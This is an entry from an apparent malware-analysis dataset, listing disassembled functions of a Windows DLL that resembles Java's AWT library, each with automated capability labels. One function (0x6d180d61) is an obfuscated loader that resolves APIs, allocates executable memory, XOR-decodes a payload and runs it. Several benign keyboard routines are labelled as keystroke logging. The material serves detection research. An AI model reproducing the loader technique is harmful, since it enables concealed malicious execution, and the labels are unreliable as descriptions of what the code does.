joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d172ed0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, ecx
mov edx, dword [esp + 4]
mov dword [eax], vtable.D3DContext.0
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
movzx ecx, byte [edx + 0xc]
mov byte [eax + 0xc], cl
push esi
fld dword [edx + 0x10]
push edi
fstp dword [eax + 0x10]
movzx ecx, byte [edx + 0x14]
mov byte [eax + 0x14], cl
mov ecx, dword [edx + 0x18]
mov dword [eax + 0x18], ecx
mov ecx, dword [edx + 0x1c]
mov dword [eax + 0x1c], ecx
mov ecx, dword [edx + 0x20]
mov dword [eax + 0x20], ecx
mov ecx, dword [edx + 0x24]
mov dword [eax + 0x24], ecx
mov ecx, dword [edx + 0x28]
mov dword [eax + 0x28], ecx
mov ecx, dword [edx + 0x2c]
mov dword [eax + 0x2c], ecx
mov ecx, dword [edx + 0x30]
mov dword [eax + 0x30], ecx
mov ecx, dword [edx + 0x34]
mov dword [eax + 0x34], ecx
mov ecx, dword [edx + 0x38]
mov dword [eax + 0x38], ecx
mov ecx, dword [edx + 0x3c]
mov dword [eax + 0x3c], ecx
mov ecx, dword [edx + 0x40]
mov dword [eax + 0x40], ecx
mov ecx, dword [edx + 0x44]
mov dword [eax + 0x44], ecx
mov ecx, dword [edx + 0x48]
mov dword [eax + 0x48], ecx
mov ecx, dword [edx + 0x4c]
mov dword [eax + 0x4c], ecx
mov ecx, dword [edx + 0x50]
mov dword [eax + 0x50], ecx
mov ecx, dword [edx + 0x54]
mov dword [eax + 0x54], ecx
mov ecx, dword [edx + 0x58]
mov dword [eax + 0x58], ecx
mov ecx, dword [edx + 0x5c]
mov dword [eax + 0x5c], ecx
mov ecx, dword [edx + 0x60]
mov dword [eax + 0x60], ecx
mov ecx, dword [edx + 0x64]
mov dword [eax + 0x64], ecx
mov ecx, dword [edx + 0x68]
mov dword [eax + 0x68], ecx
mov ecx, dword [edx + 0x6c]
mov dword [eax + 0x6c], ecx
mov ecx, dword [edx + 0x70]
mov dword [eax + 0x70], ecx
mov ecx, dword [edx + 0x74]
mov dword [eax + 0x74], ecx
mov ecx, dword [edx + 0x78]
mov dword [eax + 0x78], ecx
mov ecx, dword [edx + 0x7c]
mov dword [eax + 0x7c], ecx
mov ecx, dword [edx + 0x80]
mov dword [eax + 0x80], ecx
mov ecx, dword [edx + 0x84]
mov dword [eax + 0x84], ecx
mov ecx, dword [edx + 0x88]
mov dword [eax + 0x88], ecx
mov ecx, dword [edx + 0x8c]
mov dword [eax + 0x8c], ecx
mov ecx, dword [edx + 0x90]
mov dword [eax + 0x90], ecx
lea esi, [edx + 0x94]
lea edi, [eax + 0x94]
mov ecx, 0xe
rep movsd dword es:[edi], dword [esi]
lea esi, [edx + 0xcc]
lea edi, [eax + 0xcc]
mov ecx, 0x4c
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 0x1fc]
mov dword [eax + 0x1fc], ecx
mov ecx, dword [edx + 0x200]
mov dword [eax + 0x200], ecx
mov ecx, dword [edx + 0x204]
mov dword [eax + 0x204], ecx
mov ecx, dword [edx + 0x208]
mov dword [eax + 0x208], ecx
mov ecx, dword [edx + 0x20c]
mov dword [eax + 0x20c], ecx
mov ecx, dword [edx + 0x210]
mov dword [eax + 0x210], ecx
mov edx, dword [edx + 0x214]
pop edi
mov dword [eax + 0x214], edx
pop esi
ret 4
Function at 0x6d173060
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, ecx
mov edx, dword [esp + 4]
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
movzx ecx, byte [edx + 0xc]
mov byte [eax + 0xc], cl
push esi
fld dword [edx + 0x10]
push edi
fstp dword [eax + 0x10]
movzx ecx, byte [edx + 0x14]
mov byte [eax + 0x14], cl
mov ecx, dword [edx + 0x18]
mov dword [eax + 0x18], ecx
mov ecx, dword [edx + 0x1c]
mov dword [eax + 0x1c], ecx
mov ecx, dword [edx + 0x20]
mov dword [eax + 0x20], ecx
mov ecx, dword [edx + 0x24]
mov dword [eax + 0x24], ecx
mov ecx, dword [edx + 0x28]
mov dword [eax + 0x28], ecx
mov ecx, dword [edx + 0x2c]
mov dword [eax + 0x2c], ecx
mov ecx, dword [edx + 0x30]
mov dword [eax + 0x30], ecx
mov ecx, dword [edx + 0x34]
mov dword [eax + 0x34], ecx
mov ecx, dword [edx + 0x38]
mov dword [eax + 0x38], ecx
mov ecx, dword [edx + 0x3c]
mov dword [eax + 0x3c], ecx
mov ecx, dword [edx + 0x40]
mov dword [eax + 0x40], ecx
mov ecx, dword [edx + 0x44]
mov dword [eax + 0x44], ecx
mov ecx, dword [edx + 0x48]
mov dword [eax + 0x48], ecx
mov ecx, dword [edx + 0x4c]
mov dword [eax + 0x4c], ecx
mov ecx, dword [edx + 0x50]
mov dword [eax + 0x50], ecx
mov ecx, dword [edx + 0x54]
mov dword [eax + 0x54], ecx
mov ecx, dword [edx + 0x58]
mov dword [eax + 0x58], ecx
mov ecx, dword [edx + 0x5c]
mov dword [eax + 0x5c], ecx
mov ecx, dword [edx + 0x60]
mov dword [eax + 0x60], ecx
mov ecx, dword [edx + 0x64]
mov dword [eax + 0x64], ecx
mov ecx, dword [edx + 0x68]
mov dword [eax + 0x68], ecx
mov ecx, dword [edx + 0x6c]
mov dword [eax + 0x6c], ecx
mov ecx, dword [edx + 0x70]
mov dword [eax + 0x70], ecx
mov ecx, dword [edx + 0x74]
mov dword [eax + 0x74], ecx
mov ecx, dword [edx + 0x78]
mov dword [eax + 0x78], ecx
mov ecx, dword [edx + 0x7c]
mov dword [eax + 0x7c], ecx
mov ecx, dword [edx + 0x80]
mov dword [eax + 0x80], ecx
mov ecx, dword [edx + 0x84]
mov dword [eax + 0x84], ecx
mov ecx, dword [edx + 0x88]
mov dword [eax + 0x88], ecx
mov ecx, dword [edx + 0x8c]
mov dword [eax + 0x8c], ecx
mov ecx, dword [edx + 0x90]
mov dword [eax + 0x90], ecx
lea esi, [edx + 0x94]
lea edi, [eax + 0x94]
mov ecx, 0xe
rep movsd dword es:[edi], dword [esi]
lea esi, [edx + 0xcc]
lea edi, [eax + 0xcc]
mov ecx, 0x4c
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 0x1fc]
mov dword [eax + 0x1fc], ecx
mov ecx, dword [edx + 0x200]
mov dword [eax + 0x200], ecx
mov ecx, dword [edx + 0x204]
mov dword [eax + 0x204], ecx
mov ecx, dword [edx + 0x208]
mov dword [eax + 0x208], ecx
mov ecx, dword [edx + 0x20c]
mov dword [eax + 0x20c], ecx
mov ecx, dword [edx + 0x210]
mov dword [eax + 0x210], ecx
mov edx, dword [edx + 0x214]
pop edi
mov dword [eax + 0x214], edx
pop esi
ret 4
Function at 0x6d17c20f
Capabilities:
Hide graphical window

Disassembly:
and dword [ecx + 0x34], 0
push 0
push dword [ecx + 0x28]
call dword [sym.imp.USER32.dll_ShowWindow]
ret

Function at 0x6d17c5c4
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
push edi
movzx edi, byte [esp + 0x14]
push 0
push 0xa0
call esi
push 0
push 0xa1
mov ebx, eax
call esi
cmp edi, ebx
jne 0x6d17c5ef
push 2
pop eax
jmp 0x6d17c5f9
xor ecx, ecx
cmp edi, eax
sete cl
lea eax, [ecx + 2]
pop edi
pop esi
pop ebx
ret

Function at 0x6d17c5fd
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push edi
push 0x11
xor edi, edi
call esi
shr eax, 8
test al, al
je 0x6d17c617
mov edi, 0x80
push 0x10
call esi
shr eax, 8
test al, al
je 0x6d17c625
or edi, 0x40
push 0x12
call esi
shr eax, 8
test al, al
je 0x6d17c636
or edi, 0x200
push 4
call esi
shr eax, 8
test al, al
je 0x6d17c647
or edi, 0x800
push 2
call esi
shr eax, 8
test al, al
je 0x6d17c658
or edi, 0x1000
push 1
call esi
shr eax, 8
test al, al
je 0x6d17c669
or edi, 0x400
push 5
call esi
shr eax, 8
test al, al
je 0x6d17c67c
mov eax, dword [0x6d209888]
or edi, dword [eax + 0xc]
push 6
call esi
shr eax, 8
test al, al
je 0x6d17c68f
mov eax, dword [0x6d209888]
or edi, dword [eax + 0x10]
mov eax, edi
pop edi
pop esi
ret

Function at 0x6d17ca82
Capabilities:
Get keyboard layout
Log keystrokes

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x6d208610]
xor eax, ebp
mov dword [ebp + 0x84], eax
mov eax, dword [ebp + 0x90]
push ebx
push 4
push eax
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.MSVCR100.dll_memmove]
xor ebx, ebx
add esp, 0xc
push ebx
mov word [ebp - 0x6c], bx
mov byte [ebp - 0x6a], bl
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push ebx
push 2
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push 0x20
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push eax
push 0x20
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 0x84]
xor ecx, ebp
pop ebx
call fcn.6d1c0acb
add ebp, 0x88
leave
ret
Function at 0x6d17caf8
Capabilities:
Log keystrokes

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x12c
mov eax, dword [0x6d208610]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push ebx
push esi
push edi
push 0x10002
push dword [0x6d20b1cc]
call sub.java.dll__JNU_GetEnv_8
mov esi, eax
mov eax, dword [0x6d20a958]
push 0x100
mov dword [ebp - 0x80], eax
xor ebx, ebx
lea eax, [ebp - 0x78]
push ebx
push eax
mov dword [ebp - 0x7c], esi
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [0x6d20a960], ebx
jne 0x6d17cb77
mov eax, dword [esi]
push str.sun_awt_ExtendedKeyCodes
push esi
call dword [eax + 0x18]
mov edi, eax
cmp edi, ebx
je 0x6d17cc7b
mov eax, dword [esi]
push edi
push esi
call dword [eax + 0x54]
push edi
mov dword [0x6d20a960], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x5c]
cmp dword [0x6d20a95c], ebx
jne 0x6d17cb9d
mov eax, dword [esi]
push str._I_I
push str.getExtendedKeyCodeForChar
push dword [0x6d20a960]
push esi
call dword [eax + 0x1c4]
mov dword [0x6d20a95c], eax
xor edi, edi
mov esi, 0x6d20989c
push ebx
xor eax, eax
push edi
mov dword [esi - 0xc], edi
mov dword [esi - 4], ebx
mov word [esi], ax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
cmp eax, ebx
jne 0x6d17cbc3
mov dword [esi - 8], ebx
jmp 0x6d17cc6b
push dword [ebp - 0x80]
lea ecx, [ebp + 0x88]
push 0
push 0x10
push ecx
lea ecx, [ebp - 0x78]
push ecx
push eax
lea ebx, [ebp + edi - 0x78]
push edi
mov dword [esi - 8], eax
mov byte [ebx], 0x80
call dword [sym.imp.USER32.dll_ToUnicodeEx]
cmp eax, 1
jne 0x6d17cc19
cmp dword [esi - 4], 0
mov ax, word [ebp + 0x88]
mov word [esi], ax
jne 0x6d17cc66
movzx eax, ax
push eax
push dword [0x6d20a95c]
push dword [0x6d20a960]
push dword [ebp - 0x7c]
call fcn.6d17bd97
add esp, 0x10
jmp 0x6d17cc53
cmp eax, 0xffffffff
jne 0x6d17cc58
mov ax, word [ebp + 0x88]
mov word [esi], ax
lea eax, [ebp - 0x78]
push eax
call fcn.6d17ca82
pop ecx
push 0x60
mov eax, 0x6d1cc2f0
pop ecx
cmp word [ebp + 0x88], cx
je 0x6d17cc50
add eax, 8
movzx ecx, word [eax]
test cx, cx
jne 0x6d17cc3a
jmp 0x6d17cc66
mov eax, dword [eax + 4]
mov dword [esi - 4], eax
jmp 0x6d17cc66
test eax, eax
jne 0x6d17cc66
lea eax, [ebp - 0x78]
push eax
call fcn.6d17ca82
pop ecx
mov byte [ebx], 0
xor ebx, ebx
inc edi
add esi, 0x10
cmp edi, 0x100
jb 0x6d17cba4
mov ecx, dword [ebp + 0xa8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d1c0acb
add ebp, 0xac
leave
ret
Function at 0x6d18067e
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x6d208610]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 8
mov eax, 0x6d1c25d8
call fcn.6d1c0c76
test byte [0x6d20a9cc], 1
mov edi, dword [ebp + 0x10c]
mov dword [ebp - 0x10], edi
jne 0x6d1806eb
or dword [0x6d20a9cc], 1
fld dword [0x6d1ca530]
and dword [ebp - 4], 0
push ecx
fstp dword [esp]
push 0x1d
push 0
push str.VKEY_translations
mov ecx, 0x6d20a994
call fcn.6d1727a2
push 0x6d1c5a0c
call fcn.6d180d61
or dword [ebp - 4], 0xffffffff
pop ecx
cmp dword [ebp + 0x114], 1
jne 0x6d180707
push edi
mov ecx, 0x6d20a994
call fcn.6d172988
test eax, eax
jne 0x6d180844
cmp edi, 0xd
jne 0x6d180714
push 0xa
pop eax
jmp 0x6d180844
lea eax, [ebp]
push eax
call fcn.6d19d640
mov eax, dword [ebp + 0x110]
pop ecx
test eax, eax
je 0x6d1807c3
mov esi, eax
mov edx, eax
mov ecx, eax
mov ebx, 0x80
and esi, 0x40
and edx, 0x200
and ecx, ebx
test eax, 0x2000
je 0x6d18074e
xor ecx, ecx
inc ecx
mov edx, ecx
test esi, esi
je 0x6d180758
or byte [ebp + 0x10], bl
mov edi, dword [ebp - 0x10]
push edi
call fcn.6d17ca24
add esp, 4
test eax, eax
je 0x6d18076c
and byte [ebp + 0x12], 0x7f
mov edi, dword [ebp - 0x10]
test ecx, ecx
je 0x6d1807c3
test edx, edx
jne 0x6d180780
and byte [ebp + 0x11], 0x7f
lea eax, [edi - 0x41]
cmp eax, 0x19
ja 0x6d180785
or byte [ebp + 0x11], bl
jmp 0x6d1807c3
push 0x1b
pop edi
push edi
call dword [sym.imp.USER32.dll_VkKeyScanW]
movzx eax, ax
movzx ecx, al
cmp dword [ebp - 0x10], ecx
je 0x6d1807a3
inc edi
cmp di, 0x20
jb 0x6d180788
jmp 0x6d1807c0
shr eax, 8
movzx eax, al
test al, 2
jne 0x6d1807bd
not eax
xor ecx, ecx
and eax, 1
test esi, esi
sete cl
cmp eax, ecx
jne 0x6d1807c0
or byte [ebp + 0x11], bl
mov edi, dword [ebp - 0x10]
push 0
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push dword [0x6d20a958]
lea ecx, [ebp - 0x14]
push 0
push ecx
lea ecx, [ebp]
push ecx
push eax
push edi
call dword [sym.imp.USER32.dll_ToAsciiEx]
test eax, eax
js 0x6d180801
jne 0x6d180808
cmp edi, 0x2e
jne 0x6d1807f4
push 0x7f
pop esi
jmp 0x6d18082d
lea eax, [edi - 0x60]
cmp eax, 9
ja 0x6d180801
lea esi, [edi - 0x30]
jmp 0x6d18082d
mov esi, 0xffff
jmp 0x6d18082d
jle 0x6d18082a
push 1
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
push 1
push dword [0x6d20a944]
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
movzx esi, word [ebp - 0x10]
jmp 0x6d18082d
mov esi, dword [ebp - 0x10]
cmp dword [ebp + 0x114], 2
jne 0x6d180842
push esi
push edi
mov ecx, 0x6d20a994
call fcn.6d1728e0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.6d1c0acb
add ebp, 0x104
leave
ret 0xc
Function at 0x6d180d61
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x6d180d70
pop dword [ebp - 0x18]
mov eax, 0x6d180d70
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x27b7518f
sub dword [ebp - 0x28], 0xd9650c44
mov dword [ebp - 0x24], 0xd71b6e7f
add dword [ebp - 0x24], 0x5b17ddc6
mov dword [ebp - 0x20], 0xb37a9d10
sub dword [ebp - 0x20], 0x672e58e2
mov dword [ebp - 0x1c], 0xc4fd1b83
add dword [ebp - 0x1c], 0x3b02e47d
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x8c89f31a
sub dword [ebp - 0x28], 0x181789c4
mov dword [ebp - 0x24], 0xcd0f026f
sub dword [ebp - 0x24], 0x8ba2a0fa
mov dword [ebp - 0x20], 0x90e15368
sub dword [ebp - 0x20], 0x2d71e6fc
mov dword [ebp - 0x1c], 0xdc860cfe
sub dword [ebp - 0x1c], 0xdc860cfe
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xd69a6206
add eax, 0x9681fe5a
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3dc41
push 0
call eax
mov ecx, 0x4a7b
xor edx, edx
add edx, eax
mov ebx, 0x6d251200
add ebx, dword [ebp - 0x18]
mov esi, 0xd983c8a0
add esi, 0x336296bd
xor dword [ebp - 4], ebx
mov edi, dword [ebx]
xor dword [ebp - 0x14], eax
xor edi, esi
mov dword [edx], edi
add dword [ebp - 8], ebx
add edx, 0x56129254
sub edx, 0x56129250
add ebx, 4
loop 0x6d180e7e
add eax, 0xac8e88e7
sub eax, 0xac8d6c28
xor ebx, ebx
add ebx, eax
add eax, 0xe3d1f00c
add eax, 0x1c2e0ff9
mov ecx, 0x2ae2f6ba
sub ecx, 0xbdd1f6ba
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x6d184d01
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push edi
xor edi, edi
push edi
push dword [ebp + 0x10]
push esi
call dword [eax + 0x294]
push edi
push dword [ebp + 0x14]
mov dword [ebp + 8], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x294]
mov ebx, dword [sym.imp.MSVCR100.dll__control87]
push edi
push edi
mov dword [ebp - 4], eax
call ebx
pop ecx
pop ecx
push 1
push edi
push edi
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0xffffffffffffffff
push dword [ebp - 0xc]
mov dword [ebp - 8], eax
call ebx
mov eax, dword [esi]
pop ecx
pop ecx
push dword [ebp + 8]
push dword [ebp + 0x10]
push esi
call dword [eax + 0x298]
push dword [ebp - 4]
mov eax, dword [esi]
push dword [ebp + 0x14]
push esi
call dword [eax + 0x298]
cmp dword [ebp - 8], 0x20
jg 0x6d184dc7
push edi
push edi
lea eax, [ebp + 0x10]
push eax
push 0x400
push dword [ebp - 8]
mov dword [ebp + 0x10], edi
push edi
push 0x1300
call dword [sym.imp.kernel32.dll_FormatMessageW]
cmp dword [ebp + 0x10], edi
je 0x6d184dc7
push dword [ebp + 0x10]
call dword [sym.imp.MSVCR100.dll_wcslen]
pop ecx
mov ecx, dword [esi]
push eax
push dword [ebp + 0x10]
push esi
call dword [ecx + 0x28c]
push dword [ebp + 0x10]
mov esi, eax
call dword [sym.imp.kernel32.dll_LocalFree]
mov eax, esi
jmp 0x6d184dc9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x6d185aa6
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x1fc
mov eax, dword [0x6d208610]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call dword [sym.imp.kernel32.dll_GetVersion]
cmp al, 6
sbb eax, eax
push 0
and eax, 0xfffffffc
lea ecx, [ebp - 0x184]
add eax, 0x1f8
push ecx
push eax
push 0x29
mov dword [ebp - 0x184], eax
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
lea eax, [ebp - 0x16c]
push eax
push str.win.frame.captionFont
mov ecx, esi
call fcn.6d180d61
push dword [ebp - 0x170]
mov ecx, esi
push str.win.frame.captionHeight
call fcn.6d1852d7
push dword [ebp - 0x174]
mov ecx, esi
push str.win.frame.captionButtonWidth
call fcn.6d1852d7
push dword [ebp - 0x170]
mov ecx, esi
push str.win.frame.captionButtonHeight
call fcn.6d1852d7
lea eax, [ebp - 0x108]
push eax
push str.win.frame.smallCaptionFont
mov ecx, esi
call fcn.6d180d61
push dword [ebp - 0x10c]
mov ecx, esi
push str.win.frame.smallCaptionHeight
call fcn.6d1852d7
push dword [ebp - 0x110]
mov ecx, esi
push str.win.frame.smallCaptionButtonWidth
call fcn.6d1852d7
push dword [ebp - 0x10c]
mov ecx, esi
push str.win.frame.smallCaptionButtonHeight
call fcn.6d1852d7
push dword [ebp - 0x180]
mov ecx, esi
push str.win.frame.sizingBorderWidth
call fcn.6d1852d7
lea eax, [ebp - 0xa4]
push eax
push str.win.menu.font
mov ecx, esi
call fcn.6d180d61
push dword [ebp - 0xa8]
mov ecx, esi
push str.win.menu.height
call fcn.6d1852d7
push dword [ebp - 0xac]
mov ecx, esi
push str.win.menu.buttonWidth
call fcn.6d1852d7
push dword [ebp - 0x17c]
mov ecx, esi
push str.win.scrollbar.width
call fcn.6d1852d7
push dword [ebp - 0x178]
mov ecx, esi
push str.win.scrollbar.height
call fcn.6d1852d7
lea eax, [ebp - 0x48]
push eax
push str.win.status.font
mov ecx, esi
call fcn.6d180d61
lea eax, [ebp - 0x48]
push eax
push str.win.tooltip.font
mov ecx, esi
call fcn.6d180d61
lea eax, [ebp + 0x14]
push eax
push str.win.messagebox.font
mov ecx, esi
call fcn.6d180d61
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.6d1c0acb
add ebp, 0x78
leave
ret
Function at 0x6d185c9f
Capabilities:
Check os version

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetSysColor]
push edi
push 0x1b
mov edi, ecx
call esi
push eax
push str.win.frame.activeCaptionGradientColor
mov ecx, edi
call fcn.6d180d61
push 0x1c
call esi
push eax
push str.win.frame.inactiveCaptionGradientColor
mov ecx, edi
call fcn.6d180d61
push 0x1a
call esi
push eax
push str.win.item.hotTrackedColor
mov ecx, edi
call fcn.6d180d61
push 0x15
call esi
push eax
push str.win.3d.darkShadowColor
mov ecx, edi
call fcn.6d180d61
push 0xf
call esi
push eax
push str.win.3d.backgroundColor
mov ecx, edi
call fcn.6d180d61
push 0x14
call esi
push eax
push str.win.3d.highlightColor
mov ecx, edi
call fcn.6d180d61
push 0x16
call esi
push eax
push str.win.3d.lightColor
mov ecx, edi
call fcn.6d180d61
push 0x10
call esi
push eax
push str.win.3d.shadowColor
mov ecx, edi
call fcn.6d180d61
push 0x12
call esi
push eax
push str.win.button.textColor
mov ecx, edi
call fcn.6d180d61
push 1
call esi
push eax
push str.win.desktop.backgroundColor
mov ecx, edi
call fcn.6d180d61
push 2
call esi
push eax
push str.win.frame.activeCaptionColor
mov ecx, edi
call fcn.6d180d61
push 0xa
call esi
push eax
push str.win.frame.activeBorderColor
mov ecx, edi
call fcn.6d180d61
push 6
call esi
push eax
push str.win.frame.color
mov ecx, edi
call fcn.6d180d61
push 5
call esi
push eax
push str.win.frame.backgroundColor
mov ecx, edi
call fcn.6d180d61
push 9
call esi
push eax
push str.win.frame.captionTextColor
mov ecx, edi
call fcn.6d180d61
push 0xb
call esi
push eax
push str.win.frame.inactiveBorderColor
mov ecx, edi
call fcn.6d180d61
push 3
call esi
push eax
push str.win.frame.inactiveCaptionColor
mov ecx, edi
call fcn.6d180d61
push 0x13
call esi
push eax
push str.win.frame.inactiveCaptionTextColor
mov ecx, edi
call fcn.6d180d61
push 8
call esi
push eax
push str.win.frame.textColor
mov ecx, edi
call fcn.6d180d61
push 0xd
call esi
push eax
push str.win.item.highlightColor
mov ecx, edi
call fcn.6d180d61
push 0xe
call esi
push eax
push str.win.item.highlightTextColor
mov ecx, edi
call fcn.6d180d61
push 0xc
call esi
push eax
push str.win.mdi.backgroundColor
mov ecx, edi
call fcn.6d180d61
push 4
call esi
push eax
push str.win.menu.backgroundColor
mov ecx, edi
call fcn.6d180d61
push 7
call esi
push eax
push str.win.menu.textColor
mov ecx, edi
call fcn.6d180d61
mov ebx, dword [sym.imp.kernel32.dll_GetVersion]
call ebx
cmp al, 5
jb 0x6d185e57
call ebx
shr eax, 8
cmp al, 1
jae 0x6d185e61
call ebx
cmp al, 5
ja 0x6d185e61
push 4
jmp 0x6d185e63
push 0x1e
pop eax
push eax
call esi
push eax
push str.win.menubar.backgroundColor
mov ecx, edi
call fcn.6d180d61
push 0
call esi
push eax
push str.win.scrollbar.backgroundColor
mov ecx, edi
call fcn.6d180d61
push 0x11
call esi
push eax
push str.win.text.grayedTextColor
mov ecx, edi
call fcn.6d180d61
push 0x18
call esi
push eax
push str.win.tooltip.backgroundColor
mov ecx, edi
call fcn.6d180d61
push 0x17
call esi
push eax
push str.win.tooltip.textColor
mov ecx, edi
call fcn.6d180d61
pop edi
pop esi
pop ebx
ret
Function at 0x6d189249
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0x1c]
add eax, dword [ebp + 8]
push 0
push 0
push eax
push dword [esi + 0x18]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [esi + 0x18]
call dword [sym.imp.kernel32.dll_ReadFile]
pop esi
pop ebp
ret 0xc

Function at 0x6d189454
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1a0]
sub esp, 0x220
mov eax, dword [0x6d208610]
xor eax, ebp
mov dword [ebp + 0x19c], eax
mov eax, dword [ebp + 0x1a8]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov dword [ebp - 0x74], eax
cmp dword [0x6d2077e4], ebx
je 0x6d1895d5
call fcn.6d180d61
cmp eax, ebx
jne 0x6d18949e
mov dword [0x6d2077e4], ebx
jmp 0x6d1895d5
lea ecx, [ebp - 0x7c]
push ecx
push 0xf003f
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d189493
push edi
push dword [esi + 4]
mov edi, dword [sym.imp.MSVCR100.dll_wcscpy]
lea eax, [ebp - 0x70]
push eax
call edi
lea eax, [ebp - 0x70]
push 0x2c
push eax
call dword [sym.imp.MSVCR100.dll_wcschr]
add esp, 0x10
cmp eax, ebx
je 0x6d1894e0
xor ecx, ecx
mov word [eax], cx
mov esi, 0x104
push esi
lea eax, [ebp + 0x30]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push ebx
push 0x50
lea eax, [ebp + 0x134]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
mov dword [ebp - 0x78], esi
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x30]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
lea eax, [ebp + 0x134]
push eax
push dword [ebp - 0x7c]
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x6d18958d
cmp dword [0x6d2077e8], ebx
je 0x6d1895d4
mov esi, 0x6d20ad48
push esi
call dword [sym.imp.MSVCR100.dll_wcslen]
pop ecx
test eax, eax
je 0x6d189557
push esi
push dword [ebp - 0x74]
call edi
jmp 0x6d1895d2
push 5
pop ecx
mov esi, 0x6d1ceee0
lea edi, [ebp + 0x184]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x30]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
lea eax, [ebp + 0x184]
movsw word es:[edi], word [esi]
push eax
push dword [ebp - 0x7c]
xor esi, esi
inc esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d1895a1
lea eax, [ebp + 0x30]
push str.userfont.fon
push eax
call sub.MSVCR100.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x6d1895a9
mov dword [0x6d2077e8], ebx
jmp 0x6d1895d4
push dword [ebp + 0x1ac]
lea eax, [ebp + 0x30]
push dword [ebp - 0x74]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
cmp esi, ebx
je 0x6d1895d4
push dword [ebp - 0x74]
push 0x6d20ad48
call dword [sym.imp.MSVCR100.dll_wcscpy]
pop ecx
pop ecx
pop edi
mov ecx, dword [ebp + 0x19c]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d1c0acb
add ebp, 0x1a0
leave
ret 8